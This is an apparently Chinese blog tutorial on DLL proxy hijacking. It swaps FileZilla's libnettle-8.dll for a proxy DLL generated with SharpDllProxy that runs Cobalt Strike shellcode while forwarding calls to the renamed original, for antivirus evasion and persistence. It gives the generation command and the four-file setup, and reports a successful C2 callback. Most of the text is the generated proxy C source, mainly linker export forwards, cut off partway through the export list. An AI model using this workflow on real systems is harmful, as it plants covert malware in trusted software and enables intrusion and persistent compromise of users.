DLL代理加载shellcode实践

在程序开发过程中往往会使用第三方库,大多数第三方库会提供DLL(动态链接库)文件,因此程序需要相应的DLL文件才能启动,通过Dll代理将正常dll替换为欸一dll,可以进行免杀或权限维持

找出运行必须的dll文件

依照DLL代理加载shellcod用于免杀,维权等等中的例子下载Filezilla,将fzsftp.exe放到单独文件夹运行,找到运行必须的libnettle-8.dll文件

imgbed.cn图床

编译SharpDllProxy

下载SharpDllProxy后用Visual Stuio 2019打开SharpDllProxy.sln

imgbed.cn图床

编译生成SharpDllProxy.exe

imgbed.cn图床

imgbed.cn图床

生成代理Dll

指定目标dll文件后生成libnettle-8_pragma.c和tmp2BF5.dll,payload.bin为cs生成的raw格式shellcode。

1
sharpdllproxy.exe --dll E:\dllproxy\libnettle-8.dll --payload E:\dllproxy\payload.bin

imgbed.cn图床

在vs中新建动态链接库将生成的libnettle-8_pragma.c代码复制后编译生成可执行shellcode的同名dll文件用以顶替原有的libnettle-8.dll文件

imgbed.cn图床

imgbed.cn图床

成功执行shellcode需要4个文件,fzsftp.exe调用替换后的恶意libnettle-8.dll文件后从payload.bin中读取shellcode后执行,tmp2BF5.dll即原来正常的libnettle-8.dll文件,保证程序正常运行

imgbed.cn图床执行后cs成功上线

imgbed.cn图床

原理分析

用vs打开libnettle-8_pragma.c后查看代码,开头调用了400多个tmp2BF5.dll中的函数以保证文件的正常运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
#include "pch.h"
#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:_nettle_aeads=tmp2BF5._nettle_aeads,@1")
#pragma comment(linker, "/export:_nettle_aes_decrypt=tmp2BF5._nettle_aes_decrypt,@2")
#pragma comment(linker, "/export:_nettle_aes_decrypt_aesni=tmp2BF5._nettle_aes_decrypt_aesni,@3")
#pragma comment(linker, "/export:_nettle_aes_decrypt_x86_64=tmp2BF5._nettle_aes_decrypt_x86_64,@4")
#pragma comment(linker, "/export:_nettle_aes_encrypt=tmp2BF5._nettle_aes_encrypt,@5")
#pragma comment(linker, "/export:_nettle_aes_encrypt_aesni=tmp2BF5._nettle_aes_encrypt_aesni,@6")
#pragma comment(linker, "/export:_nettle_aes_encrypt_table=tmp2BF5._nettle_aes_encrypt_table,@7")
#pragma comment(linker, "/export:_nettle_aes_encrypt_x86_64=tmp2BF5._nettle_aes_encrypt_x86_64,@8")
#pragma comment(linker, "/export:_nettle_aes_invert=tmp2BF5._nettle_aes_invert,@9")
#pragma comment(linker, "/export:_nettle_aes_set_key=tmp2BF5._nettle_aes_set_key,@10")
#pragma comment(linker, "/export:_nettle_armors=tmp2BF5._nettle_armors,@11")
#pragma comment(linker, "/export:_nettle_camellia_absorb=tmp2BF5._nettle_camellia_absorb,@12")
#pragma comment(linker, "/export:_nettle_camellia_crypt=tmp2BF5._nettle_camellia_crypt,@13")
#pragma comment(linker, "/export:_nettle_camellia_invert_key=tmp2BF5._nettle_camellia_invert_key,@14")
#pragma comment(linker, "/export:_nettle_camellia_table=tmp2BF5._nettle_camellia_table,@15")
#pragma comment(linker, "/export:_nettle_chacha_core=tmp2BF5._nettle_chacha_core,@16")
#pragma comment(linker, "/export:_nettle_ciphers=tmp2BF5._nettle_ciphers,@17")
#pragma comment(linker, "/export:_nettle_cpuid=tmp2BF5._nettle_cpuid,@18")
#pragma comment(linker, "/export:_nettle_ctr_crypt16=tmp2BF5._nettle_ctr_crypt16,@19")
#pragma comment(linker, "/export:_nettle_gcm_hash8=tmp2BF5._nettle_gcm_hash8,@20")
#pragma comment(linker, "/export:_nettle_gost28147_encrypt_block=tmp2BF5._nettle_gost28147_encrypt_block,@21")
#pragma comment(linker, "/export:_nettle_gost28147_param_CryptoPro_3411=tmp2BF5._nettle_gost28147_param_CryptoPro_3411,@22")
#pragma comment(linker, "/export:_nettle_gost28147_param_test_3411=tmp2BF5._nettle_gost28147_param_test_3411,@23")
#pragma comment(linker, "/export:_nettle_hashes=tmp2BF5._nettle_hashes,@24")
#pragma comment(linker, "/export:_nettle_macs=tmp2BF5._nettle_macs,@25")
#pragma comment(linker, "/export:_nettle_memxor_sse2=tmp2BF5._nettle_memxor_sse2,@26")
#pragma comment(linker, "/export:_nettle_memxor_x86_64=tmp2BF5._nettle_memxor_x86_64,@27")
#pragma comment(linker, "/export:_nettle_poly1305_block=tmp2BF5._nettle_poly1305_block,@28")
#pragma comment(linker, "/export:_nettle_poly1305_digest=tmp2BF5._nettle_poly1305_digest,@29")
#pragma comment(linker, "/export:_nettle_poly1305_set_key=tmp2BF5._nettle_poly1305_set_key,@30")
#pragma comment(linker, "/export:_nettle_ripemd160_compress=tmp2BF5._nettle_ripemd160_compress,@31")
#pragma comment(linker, "/export:_nettle_salsa20_core=tmp2BF5._nettle_salsa20_core,@32")
#pragma comment(linker, "/export:_nettle_sha1_compress_sha_ni=tmp2BF5._nettle_sha1_compress_sha_ni,@33")
#pragma comment(linker, "/export:_nettle_sha1_compress_x86_64=tmp2BF5._nettle_sha1_compress_x86_64,@34")
#pragma comment(linker, "/export:_nettle_sha256_compress=tmp2BF5._nettle_sha256_compress,@35")
#pragma comment(linker, "/export:_nettle_sha256_compress_sha_ni=tmp2BF5._nettle_sha256_compress_sha_ni,@36")
#pragma comment(linker, "/export:_nettle_sha256_compress_x86_64=tmp2BF5._nettle_sha256_compress_x86_64,@37")
#pragma comment(linker, "/export:_nettle_sha3_pad=tmp2BF5._nettle_sha3_pad,@38")
#pragma comment(linker, "/export:_nettle_sha3_update=tmp2BF5._nettle_sha3_update,@39")
#pragma comment(linker, "/export:_nettle_sha512_compress=tmp2BF5._nettle_sha512_compress,@40")
#pragma comment(linker, "/export:_nettle_umac_l2=tmp2BF5._nettle_umac_l2,@41")
#pragma comment(linker, "/export:_nettle_umac_l2_final=tmp2BF5._nettle_umac_l2_final,@42")
#pragma comment(linker, "/export:_nettle_umac_l2_init=tmp2BF5._nettle_umac_l2_init,@43")
#pragma comment(linker, "/export:_nettle_umac_l3=tmp2BF5._nettle_umac_l3,@44")
#pragma comment(linker, "/export:_nettle_umac_l3_init=tmp2BF5._nettle_umac_l3_init,@45")
#pragma comment(linker, "/export:_nettle_umac_nh=tmp2BF5._nettle_umac_nh,@46")
#pragma comment(linker, "/export:_nettle_umac_nh_n=tmp2BF5._nettle_umac_nh_n,@47")
#pragma comment(linker, "/export:_nettle_umac_poly128=tmp2BF5._nettle_umac_poly128,@48")
#pragma comment(linker, "/export:_nettle_umac_poly64=tmp2BF5._nettle_umac_poly64,@49")
#pragma comment(linker, "/export:_nettle_umac_set_key=tmp2BF5._nettle_umac_set_key,@50")
#pragma comment(linker, "/export:_nettle_write_be32=tmp2BF5._nettle_write_be32,@51")
#pragma comment(linker, "/export:_nettle_write_le32=tmp2BF5._nettle_write_le32,@52")
#pragma comment(linker, "/export:_nettle_write_le64=tmp2BF5._nettle_write_le64,@53")
#pragma comment(linker, "/export:nettle_MD5Final=tmp2BF5.nettle_MD5Final,@54")
#pragma comment(linker, "/export:nettle_MD5Init=tmp2BF5.nettle_MD5Init,@55")
#pragma comment(linker, "/export:nettle_MD5Update=tmp2BF5.nettle_MD5Update,@56")
#pragma comment(linker, "/export:nettle_aes128=tmp2BF5.nettle_aes128,@57")
#pragma comment(linker, "/export:nettle_aes128_decrypt=tmp2BF5.nettle_aes128_decrypt,@58")
#pragma comment(linker, "/export:nettle_aes128_encrypt=tmp2BF5.nettle_aes128_encrypt,@59")
#pragma comment(linker, "/export:nettle_aes128_invert_key=tmp2BF5.nettle_aes128_invert_key,@60")
#pragma comment(linker, "/export:nettle_aes128_set_decrypt_key=tmp2BF5.nettle_aes128_set_decrypt_key,@61")
#pragma comment(linker, "/export:nettle_aes128_set_encrypt_key=tmp2BF5.nettle_aes128_set_encrypt_key,@62")
#pragma comment(linker, "/export:nettle_aes192=tmp2BF5.nettle_aes192,@63")
#pragma comment(linker, "/export:nettle_aes192_decrypt=tmp2BF5.nettle_aes192_decrypt,@64")
#pragma comment(linker, "/export:nettle_aes192_encrypt=tmp2BF5.nettle_aes192_encrypt,@65")
#pragma comment(linker, "/export:nettle_aes192_invert_key=tmp2BF5.nettle_aes192_invert_key,@66")
#pragma comment(linker, "/export:nettle_aes192_set_decrypt_key=tmp2BF5.nettle_aes192_set_decrypt_key,@67")
#pragma comment(linker, "/export:nettle_aes192_set_encrypt_key=tmp2BF5.nettle_aes192_set_encrypt_key,@68")
#pragma comment(linker, "/export:nettle_aes256=tmp2BF5.nettle_aes256,@69")
#pragma comment(linker, "/export:nettle_aes256_decrypt=tmp2BF5.nettle_aes256_decrypt,@70")
#pragma comment(linker, "/export:nettle_aes256_encrypt=tmp2BF5.nettle_aes256_encrypt,@71")
#pragma comment(linker, "/export:nettle_aes256_invert_key=tmp2BF5.nettle_aes256_invert_key,@72")
#pragma comment(linker, "/export:nettle_aes256_set_decrypt_key=tmp2BF5.nettle_aes256_set_decrypt_key,@73")
#pragma comment(linker, "/export:nettle_aes256_set_encrypt_key=tmp2BF5.nettle_aes256_set_encrypt_key,@74")
#pragma comment(linker, "/export:nettle_aes_decrypt=tmp2BF5.nettle_aes_decrypt,@75")
#pragma comment(linker, "/export:nettle_aes_encrypt=tmp2BF5.nettle_aes_encrypt,@76")
#pragma comment(linker, "/export:nettle_aes_invert_key=tmp2BF5.nettle_aes_invert_key,@77")
#pragma comment(linker, "/export:nettle_aes_set_decrypt_key=tmp2BF5.nettle_aes_set_decrypt_key,@78")
#pragma comment(linker, "/export:nettle_aes_set_encrypt_key=tmp2BF5.nettle_aes_set_encrypt_key,@79")
#pragma comment(linker, "/export:nettle_arcfour128_set_key=tmp2BF5.nettle_arcfour128_set_key,@80")
#pragma comment(linker, "/export:nettle_arcfour_crypt=tmp2BF5.nettle_arcfour_crypt,@81")
#pragma comment(linker, "/export:nettle_arcfour_set_key=tmp2BF5.nettle_arcfour_set_key,@82")
#pragma comment(linker, "/export:nettle_arctwo128=tmp2BF5.nettle_arctwo128,@83")
#pragma comment(linker, "/export:nettle_arctwo128_set_key=tmp2BF5.nettle_arctwo128_set_key,@84")
#pragma comment(linker, "/export:nettle_arctwo128_set_key_gutmann=tmp2BF5.nettle_arctwo128_set_key_gutmann,@85")
#pragma comment(linker, "/export:nettle_arctwo40=tmp2BF5.nettle_arctwo40,@86")
#pragma comment(linker, "/export:nettle_arctwo40_set_key=tmp2BF5.nettle_arctwo40_set_key,@87")
#pragma comment(linker, "/export:nettle_arctwo64=tmp2BF5.nettle_arctwo64,@88")
#pragma comment(linker, "/export:nettle_arctwo64_set_key=tmp2BF5.nettle_arctwo64_set_key,@89")
#pragma comment(linker, "/export:nettle_arctwo_decrypt=tmp2BF5.nettle_arctwo_decrypt,@90")
#pragma comment(linker, "/export:nettle_arctwo_encrypt=tmp2BF5.nettle_arctwo_encrypt,@91")
#pragma comment(linker, "/export:nettle_arctwo_gutmann128=tmp2BF5.nettle_arctwo_gutmann128,@92")
#pragma comment(linker, "/export:nettle_arctwo_set_key=tmp2BF5.nettle_arctwo_set_key,@93")
#pragma comment(linker, "/export:nettle_arctwo_set_key_ekb=tmp2BF5.nettle_arctwo_set_key_ekb,@94")
#pragma comment(linker, "/export:nettle_arctwo_set_key_gutmann=tmp2BF5.nettle_arctwo_set_key_gutmann,@95")
#pragma comment(linker, "/export:nettle_base16=tmp2BF5.nettle_base16,@96")
#pragma comment(linker, "/export:nettle_base16_decode_final=tmp2BF5.nettle_base16_decode_final,@97")
#pragma comment(linker, "/export:nettle_base16_decode_init=tmp2BF5.nettle_base16_decode_init,@98")
#pragma comment(linker, "/export:nettle_base16_decode_single=tmp2BF5.nettle_base16_decode_single,@99")
#pragma comment(linker, "/export:nettle_base16_decode_update=tmp2BF5.nettle_base16_decode_update,@100")
#pragma comment(linker, "/export:nettle_base16_encode_single=tmp2BF5.nettle_base16_encode_single,@101")
#pragma comment(linker, "/export:nettle_base16_encode_update=tmp2BF5.nettle_base16_encode_update,@102")
#pragma comment(linker, "/export:nettle_base64=tmp2BF5.nettle_base64,@103")
#pragma comment(linker, "/export:nettle_base64_decode_final=tmp2BF5.nettle_base64_decode_final,@104")
#pragma comment(linker, "/export:nettle_base64_decode_init=tmp2BF5.nettle_base64_decode_init,@105")
#pragma comment(linker, "/export:nettle_base64_decode_single=tmp2BF5.nettle_base64_decode_single,@106")
#pragma comment(linker, "/export:nettle_base64_decode_update=tmp2BF5.nettle_base64_decode_update,@107")
#pragma comment(linker, "/export:nettle_base64_encode_final=tmp2BF5.nettle_base64_encode_final,@108")
#pragma comment(linker, "/export:nettle_base64_encode_group=tmp2BF5.nettle_base64_encode_group,@109")
#pragma comment(linker, "/export:nettle_base64_encode_init=tmp2BF5.nettle_base64_encode_init,@110")
#pragma comment(linker, "/export:nettle_base64_encode_raw=tmp2BF5.nettle_base64_encode_raw,@111")
#pragma comment(linker, "/export:nettle_base64_encode_single=tmp2BF5.nettle_base64_encode_single,@112")
#pragma comment(linker, "/export:nettle_base64_encode_update=tmp2BF5.nettle_base64_encode_update,@113")
#pragma comment(linker, "/export:nettle_base64url=tmp2BF5.nettle_base64url,@114")
#pragma comment(linker, "/export:nettle_base64url_decode_init=tmp2BF5.nettle_base64url_decode_init,@115")
#pragma comment(linker, "/export:nettle_base64url_encode_init=tmp2BF5.nettle_base64url_encode_init,@116")
#pragma comment(linker, "/export:nettle_blowfish128_set_key=tmp2BF5.nettle_blowfish128_set_key,@117")
#pragma comment(linker, "/export:nettle_blowfish_decrypt=tmp2BF5.nettle_blowfish_decrypt,@118")
#pragma comment(linker, "/export:nettle_blowfish_encrypt=tmp2BF5.nettle_blowfish_encrypt,@119")
#pragma comment(linker, "/export:nettle_blowfish_set_key=tmp2BF5.nettle_blowfish_set_key,@120")
#pragma comment(linker, "/export:nettle_buffer_clear=tmp2BF5.nettle_buffer_clear,@121")
#pragma comment(linker, "/export:nettle_buffer_copy=tmp2BF5.nettle_buffer_copy,@122")
#pragma comment(linker, "/export:nettle_buffer_grow=tmp2BF5.nettle_buffer_grow,@123")
#pragma comment(linker, "/export:nettle_buffer_init=tmp2BF5.nettle_buffer_init,@124")
#pragma comment(linker, "/export:nettle_buffer_init_realloc=tmp2BF5.nettle_buffer_init_realloc,@125")
#pragma comment(linker, "/export:nettle_buffer_init_size=tmp2BF5.nettle_buffer_init_size,@126")
#pragma comment(linker, "/export:nettle_buffer_reset=tmp2BF5.nettle_buffer_reset,@127")
#pragma comment(linker, "/export:nettle_buffer_space=tmp2BF5.nettle_buffer_space,@128")
#pragma comment(linker, "/export:nettle_buffer_write=tmp2BF5.nettle_buffer_write,@129")
#pragma comment(linker, "/export:nettle_camellia128=tmp2BF5.nettle_camellia128,@130")
#pragma comment(linker, "/export:nettle_camellia128_crypt=tmp2BF5.nettle_camellia128_crypt,@131")
#pragma comment(linker, "/export:nettle_camellia128_invert_key=tmp2BF5.nettle_camellia128_invert_key,@132")
#pragma comment(linker, "/export:nettle_camellia128_set_encrypt_key=tmp2BF5.nettle_camellia128_set_encrypt_key,@133")
#pragma comment(linker, "/export:nettle_camellia192=tmp2BF5.nettle_camellia192,@134")
#pragma comment(linker, "/export:nettle_camellia192_set_decrypt_key=tmp2BF5.nettle_camellia192_set_decrypt_key,@135")
#pragma comment(linker, "/export:nettle_camellia192_set_encrypt_key=tmp2BF5.nettle_camellia192_set_encrypt_key,@136")
#pragma comment(linker, "/export:nettle_camellia256=tmp2BF5.nettle_camellia256,@137")
#pragma comment(linker, "/export:nettle_camellia256_crypt=tmp2BF5.nettle_camellia256_crypt,@138")
#pragma comment(linker, "/export:nettle_camellia256_invert_key=tmp2BF5.nettle_camellia256_invert_key,@139")
#pragma comment(linker, "/export:nettle_camellia256_set_decrypt_key=tmp2BF5.nettle_camellia256_set_decrypt_key,@140")
#pragma comment(linker, "/export:nettle_camellia256_set_encrypt_key=tmp2BF5.nettle_camellia256_set_encrypt_key,@141")
#pragma comment(linker, "/export:nettle_camellia_set_decrypt_key=tmp2BF5.nettle_camellia_set_decrypt_key,@142")
#pragma comment(linker, "/export:nettle_cast128=tmp2BF5.nettle_cast128,@143")
#pragma comment(linker, "/export:nettle_cast128_decrypt=tmp2BF5.nettle_cast128_decrypt,@144")
#pragma comment(linker, "/export:nettle_cast128_encrypt=tmp2BF5.nettle_cast128_encrypt,@145")
#pragma comment(linker, "/export:nettle_cast128_set_key=tmp2BF5.nettle_cast128_set_key,@146")
#pragma comment(linker, "/export:nettle_cast5_set_key=tmp2BF5.nettle_cast5_set_key,@147")
#pragma comment(linker, "/export:nettle_cbc_decrypt=tmp2BF5.nettle_cbc_decrypt,@148")
#pragma comment(linker, "/export:nettle_cbc_encrypt=tmp2BF5.nettle_cbc_encrypt,@149")
#pragma comment(linker, "/export:nettle_ccm_aes128_decrypt=tmp2BF5.nettle_ccm_aes128_decrypt,@150")
#pragma comment(linker, "/export:nettle_ccm_aes128_decrypt_message=tmp2BF5.nettle_ccm_aes128_decrypt_message,@151")
#pragma comment(linker, "/export:nettle_ccm_aes128_digest=tmp2BF5.nettle_ccm_aes128_digest,@152")
#pragma comment(linker, "/export:nettle_ccm_aes128_encrypt=tmp2BF5.nettle_ccm_aes128_encrypt,@153")
#pragma comment(linker, "/export:nettle_ccm_aes128_encrypt_message=tmp2BF5.nettle_ccm_aes128_encrypt_message,@154")
#pragma comment(linker, "/export:nettle_ccm_aes128_set_key=tmp2BF5.nettle_ccm_aes128_set_key,@155")
#pragma comment(linker, "/export:nettle_ccm_aes128_set_nonce=tmp2BF5.nettle_ccm_aes128_set_nonce,@156")
#pragma comment(linker, "/export:nettle_ccm_aes128_update=tmp2BF5.nettle_ccm_aes128_update,@157")
#pragma comment(linker, "/export:nettle_ccm_aes192_decrypt=tmp2BF5.nettle_ccm_aes192_decrypt,@158")
#pragma comment(linker, "/export:nettle_ccm_aes192_decrypt_message=tmp2BF5.nettle_ccm_aes192_decrypt_message,@159")
#pragma comment(linker, "/export:nettle_ccm_aes192_digest=tmp2BF5.nettle_ccm_aes192_digest,@160")
#pragma comment(linker, "/export:nettle_ccm_aes192_encrypt=tmp2BF5.nettle_ccm_aes192_encrypt,@161")
#pragma comment(linker, "/export:nettle_ccm_aes192_encrypt_message=tmp2BF5.nettle_ccm_aes192_encrypt_message,@162")
#pragma comment(linker, "/export:nettle_ccm_aes192_set_key=tmp2BF5.nettle_ccm_aes192_set_key,@163")
#pragma comment(linker, "/export:nettle_ccm_aes192_set_nonce=tmp2BF5.nettle_ccm_aes192_set_nonce,@164")
#pragma comment(linker, "/export:nettle_ccm_aes192_update=tmp2BF5.nettle_ccm_aes192_update,@165")
#pragma comment(linker, "/export:nettle_ccm_aes256_decrypt=tmp2BF5.nettle_ccm_aes256_decrypt,@166")
#pragma comment(linker, "/export:nettle_ccm_aes256_decrypt_message=tmp2BF5.nettle_ccm_aes256_decrypt_message,@167")
#pragma comment(linker, "/export:nettle_ccm_aes256_digest=tmp2BF5.nettle_ccm_aes256_digest,@168")
#pragma comment(linker, "/export:nettle_ccm_aes256_encrypt=tmp2BF5.nettle_ccm_aes256_encrypt,@169")
#pragma comment(linker, "/export:nettle_ccm_aes256_encrypt_message=tmp2BF5.nettle_ccm_aes256_encrypt_message,@170")
#pragma comment(linker, "/export:nettle_ccm_aes256_set_key=tmp2BF5.nettle_ccm_aes256_set_key,@171")
#pragma comment(linker, "/export:nettle_ccm_aes256_set_nonce=tmp2BF5.nettle_ccm_aes256_set_nonce,@172")
#pragma comment(linker, "/export:nettle_ccm_aes256_update=tmp2BF5.nettle_ccm_aes256_update,@173")
#pragma comment(linker, "/export:nettle_ccm_decrypt=tmp2BF5.nettle_ccm_decrypt,@174")
#pragma comment(linker, "/export:nettle_ccm_decrypt_message=tmp2BF5.nettle_ccm_decrypt_message,@175")
#pragma comment(linker, "/export:nettle_ccm_digest=tmp2BF5.nettle_ccm_digest,@176")
#pragma comment(linker, "/export:nettle_ccm_encrypt=tmp2BF5.nettle_ccm_encrypt,@177")
#pragma comment(linker, "/export:nettle_ccm_encrypt_message=tmp2BF5.nettle_ccm_encrypt_message,@178")
#pragma comment(linker, "/export:nettle_ccm_set_nonce=tmp2BF5.nettle_ccm_set_nonce,@179")
#pragma comment(linker, "/export:nettle_ccm_update=tmp2BF5.nettle_ccm_update,@180")
#pragma comment(linker, "/export:nettle_cfb8_decrypt=tmp2BF5.nettle_cfb8_decrypt,@181")
#pragma comment(linker, "/export:nettle_cfb8_encrypt=tmp2BF5.nettle_cfb8_encrypt,@182")
#pragma comment(linker, "/export:nettle_cfb_decrypt=tmp2BF5.nettle_cfb_decrypt,@183")
#pragma comment(linker, "/export:nettle_cfb_encrypt=tmp2BF5.nettle_cfb_encrypt,@184")
#pragma comment(linker, "/export:nettle_chacha_crypt=tmp2BF5.nettle_chacha_crypt,@185")
#pragma comment(linker, "/export:nettle_chacha_crypt32=tmp2BF5.nettle_chacha_crypt32,@186")
#pragma comment(linker, "/export:nettle_chacha_poly1305=tmp2BF5.nettle_chacha_poly1305,@187")
#pragma comment(linker, "/export:nettle_chacha_poly1305_decrypt=tmp2BF5.nettle_chacha_poly1305_decrypt,@188")
#pragma comment(linker, "/export:nettle_chacha_poly1305_digest=tmp2BF5.nettle_chacha_poly1305_digest,@189")
#pragma comment(linker, "/export:nettle_chacha_poly1305_encrypt=tmp2BF5.nettle_chacha_poly1305_encrypt,@190")
#pragma comment(linker, "/export:nettle_chacha_poly1305_set_key=tmp2BF5.nettle_chacha_poly1305_set_key,@191")
#pragma comment(linker, "/export:nettle_chacha_poly1305_set_nonce=tmp2BF5.nettle_chacha_poly1305_set_nonce,@192")
#pragma comment(linker, "/export:nettle_chacha_poly1305_update=tmp2BF5.nettle_chacha_poly1305_update,@193")
#pragma comment(linker, "/export:nettle_chacha_set_counter=tmp2BF5.nettle_chacha_set_counter,@194")
#pragma comment(linker, "/export:nettle_chacha_set_counter32=tmp2BF5.nettle_chacha_set_counter32,@195")
#pragma comment(linker, "/export:nettle_chacha_set_key=tmp2BF5.nettle_chacha_set_key,@196")
#pragma comment(linker, "/export:nettle_chacha_set_nonce=tmp2BF5.nettle_chacha_set_nonce,@197")
#pragma comment(linker, "/export:nettle_chacha_set_nonce96=tmp2BF5.nettle_chacha_set_nonce96,@198")
#pragma comment(linker, "/export:nettle_cmac128_digest=tmp2BF5.nettle_cmac128_digest,@199")
#pragma comment(linker, "/export:nettle_cmac128_init=tmp2BF5.nettle_cmac128_init,@200")
#pragma comment(linker, "/export:nettle_cmac128_set_key=tmp2BF5.nettle_cmac128_set_key,@201")
#pragma comment(linker, "/export:nettle_cmac128_update=tmp2BF5.nettle_cmac128_update,@202")
#pragma comment(linker, "/export:nettle_cmac64_digest=tmp2BF5.nettle_cmac64_digest,@203")
#pragma comment(linker, "/export:nettle_cmac64_init=tmp2BF5.nettle_cmac64_init,@204")
#pragma comment(linker, "/export:nettle_cmac64_set_key=tmp2BF5.nettle_cmac64_set_key,@205")
#pragma comment(linker, "/export:nettle_cmac64_update=tmp2BF5.nettle_cmac64_update,@206")
#pragma comment(linker, "/export:nettle_cmac_aes128=tmp2BF5.nettle_cmac_aes128,@207")
#pragma comment(linker, "/export:nettle_cmac_aes128_digest=tmp2BF5.nettle_cmac_aes128_digest,@208")
#pragma comment(linker, "/export:nettle_cmac_aes128_set_key=tmp2BF5.nettle_cmac_aes128_set_key,@209")
#pragma comment(linker, "/export:nettle_cmac_aes128_update=tmp2BF5.nettle_cmac_aes128_update,@210")
#pragma comment(linker, "/export:nettle_cmac_aes256=tmp2BF5.nettle_cmac_aes256,@211")
#pragma comment(linker, "/export:nettle_cmac_aes256_digest=tmp2BF5.nettle_cmac_aes256_digest,@212")
#pragma comment(linker, "/export:nettle_cmac_aes256_set_key=tmp2BF5.nettle_cmac_aes256_set_key,@213")
#pragma comment(linker, "/export:nettle_cmac_aes256_update=tmp2BF5.nettle_cmac_aes256_update,@214")
#pragma comment(linker, "/export:nettle_cmac_des3=tmp2BF5.nettle_cmac_des3,@215")
#pragma comment(linker, "/export:nettle_cmac_des3_digest=tmp2BF5.nettle_cmac_des3_digest,@216")
#pragma comment(linker, "/export:nettle_cmac_des3_set_key=tmp2BF5.nettle_cmac_des3_set_key,@217")
#pragma comment(linker, "/export:nettle_cmac_des3_update=tmp2BF5.nettle_cmac_des3_update,@218")
#pragma comment(linker, "/export:nettle_cnd_memcpy=tmp2BF5.nettle_cnd_memcpy,@219")
#pragma comment(linker, "/export:nettle_ctr_crypt=tmp2BF5.nettle_ctr_crypt,@220")
#pragma comment(linker, "/export:nettle_des3_decrypt=tmp2BF5.nettle_des3_decrypt,@221")
#pragma comment(linker, "/export:nettle_des3_encrypt=tmp2BF5.nettle_des3_encrypt,@222")
#pragma comment(linker, "/export:nettle_des3_set_key=tmp2BF5.nettle_des3_set_key,@223")
#pragma comment(linker, "/export:nettle_des_check_parity=tmp2BF5.nettle_des_check_parity,@224")
#pragma comment(linker, "/export:nettle_des_decrypt=tmp2BF5.nettle_des_decrypt,@225")
#pragma comment(linker, "/export:nettle_des_encrypt=tmp2BF5.nettle_des_encrypt,@226")
#pragma comment(linker, "/export:nettle_des_fix_parity=tmp2BF5.nettle_des_fix_parity,@227")
#pragma comment(linker, "/export:nettle_des_set_key=tmp2BF5.nettle_des_set_key,@228")
#pragma comment(linker, "/export:nettle_eax_aes128=tmp2BF5.nettle_eax_aes128,@229")
#pragma comment(linker, "/export:nettle_eax_aes128_decrypt=tmp2BF5.nettle_eax_aes128_decrypt,@230")
#pragma comment(linker, "/export:nettle_eax_aes128_digest=tmp2BF5.nettle_eax_aes128_digest,@231")
#pragma comment(linker, "/export:nettle_eax_aes128_encrypt=tmp2BF5.nettle_eax_aes128_encrypt,@232")
#pragma comment(linker, "/export:nettle_eax_aes128_set_key=tmp2BF5.nettle_eax_aes128_set_key,@233")
#pragma comment(linker, "/export:nettle_eax_aes128_set_nonce=tmp2BF5.nettle_eax_aes128_set_nonce,@234")
#pragma comment(linker, "/export:nettle_eax_aes128_update=tmp2BF5.nettle_eax_aes128_update,@235")
#pragma comment(linker, "/export:nettle_eax_decrypt=tmp2BF5.nettle_eax_decrypt,@236")
#pragma comment(linker, "/export:nettle_eax_digest=tmp2BF5.nettle_eax_digest,@237")
#pragma comment(linker, "/export:nettle_eax_encrypt=tmp2BF5.nettle_eax_encrypt,@238")
#pragma comment(linker, "/export:nettle_eax_set_key=tmp2BF5.nettle_eax_set_key,@239")
#pragma comment(linker, "/export:nettle_eax_set_nonce=tmp2BF5.nettle_eax_set_nonce,@240")
#pragma comment(linker, "/export:nettle_eax_update=tmp2BF5.nettle_eax_update,@241")
#pragma comment(linker, "/export:nettle_gcm_aes128=tmp2BF5.nettle_gcm_aes128,@242")
#pragma comment(linker, "/export:nettle_gcm_aes128_decrypt=tmp2BF5.nettle_gcm_aes128_decrypt,@243")
#pragma comment(linker, "/export:nettle_gcm_aes128_digest=tmp2BF5.nettle_gcm_aes128_digest,@244")
#pragma comment(linker, "/export:nettle_gcm_aes128_encrypt=tmp2BF5.nettle_gcm_aes128_encrypt,@245")
#pragma comment(linker, "/export:nettle_gcm_aes128_set_iv=tmp2BF5.nettle_gcm_aes128_set_iv,@246")
#pragma comment(linker, "/export:nettle_gcm_aes128_set_key=tmp2BF5.nettle_gcm_aes128_set_key,@247")
#pragma comment(linker, "/export:nettle_gcm_aes128_update=tmp2BF5.nettle_gcm_aes128_update,@248")
#pragma comment(linker, "/export:nettle_gcm_aes192=tmp2BF5.nettle_gcm_aes192,@249")
